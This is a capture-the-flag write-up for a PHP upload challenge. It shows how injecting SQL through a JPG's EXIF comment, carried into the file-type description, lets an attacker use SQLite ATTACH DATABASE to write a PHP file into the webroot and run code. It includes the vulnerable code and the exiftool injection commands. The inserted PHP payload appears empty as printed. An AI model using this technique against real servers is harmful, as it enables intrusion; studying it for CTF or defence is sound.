The downloaded `tar.xz` file contains a Dockerfile and all resources needed in
order to create a local setup for the challenge as well as a comment on top of
the Dockerfile with the necessary commands for running the Docker container.

The web application running at port 8000 was written in PHP and only consists
of a single `index.php` file.

When requesting `index.hmtl`, a session is created if necessary. Afterwards,
the directory `/var/www/html/files/[sessionid]` gets created and the current
working directory is changed to there. Users can upload files of any type that
are smaller than 10 kilobyte. If the upload was successful, a database entry
is created in the `uploads` table with an (autoincremented) id and a
"description" of the file. Uploaded files get moved to
`/var/www/html/files/[sessionid]/[id]`. Users can see a list of their uploaded
files, e.g.:

```  
<table>  
<tr>  
<td>1</td>  
<td>ASCII text </td>  
</tr>  
</table>  
```

The flag can be read from a file located at `/flag_XXXXXXXXXXXXXXXX.txt` (`X`
being an arbitrary alphanumeric character) and can be read by everybody. We
probably need RCE for reading the flag, because only being able to read
arbitrary files on the server still means that we need to bruteforce the
filename, which would take too many attempts to be feasible, except if we
could use wildcards for filenames which usually doesn't work.

When taking a closer look at the `index.php` file, we immediately noticed the
string concatenation in the SQL statement that inserts an entry for an
uploaded file. We therefore suspected that SQL injection is possible:

```  
if (isset($_FILES['file']) && $_FILES['file']['size'] < 10*1024 ){  
$s = "INSERT INTO upload(info) VALUES ('" .(new
finfo)->file($_FILES['file']['tmp_name']). " ');";  
$db->exec($s);  
move_uploaded_file( $_FILES['file']['tmp_name'], $d . $db->lastInsertId()) ||
die('move_upload_file');  
}  
```

The statement `(new finfo)->file(...)` seems to have an output equal to the
Linux `file` command and therefore depends on the content of the uploaded file
(magic bytes, line endings, file encoding,...) rather that the file extension.
Our goal is therefore to get user input into the output of that statement.

Unfortunately, we first tried to upload a plaintext file, where no user input
gets included into the SQL statement. After ruling out other attack vectors,
we finally uploaded a JPG image. Luckily enough, the `Comment` field from the
exif metadata is part of the output of `(new finfo)->file(...)`. Furthermore,
`PDO`, the database library in use, allows stacked queries, which means that
we can insert other statements after ending the intended `INSERT` statement
appropriately and commenting out the rest.

The database in use is sqlite. In combination with a PHP webserver, RCE can be
obtained by attaching a new database (and thus generating a file under the
webroot), creating a table inside that database with a single column of type
`text` and inserting a single column with the PHP code that should get
executed.

Due to the length of the `(new finfo)->file(...)` output being restricted, we
splitted the necessary SQL and used two requests to generate our PHP file on
the server.

We first generated two empty JPG files with a size of 1x1 pixel:

```  
$ convert -size 32x32 xc:white empty.jpg  
$ convert -size 32x32 xc:white empty2.jpg  
```

We updated the exif metadata `Comment` field with the necessary SQL statements
using `exiftool` with the following commands:

```  
$ exiftool -Comment="'); ATTACH DATABASE '/var/www/html/files/l.php' AS l;
CREATE TABLE l.p (d text); --" empty.jpg  
$ exiftool -Comment=$'\');ATTACH DATABASE \'../l.php\' AS l;INSERT INTO l.p(d)
VALUES (\'\');--' empty2.jpg  
```

Afterwards, we simply uploaded `empty.jpg` and `empty2.jpg` to the server and
issued an HTTP GET request to `/files/l.php` for obtaining the flag:

```  
hxp{I should have listened to my mum about not trusting files about files}  
```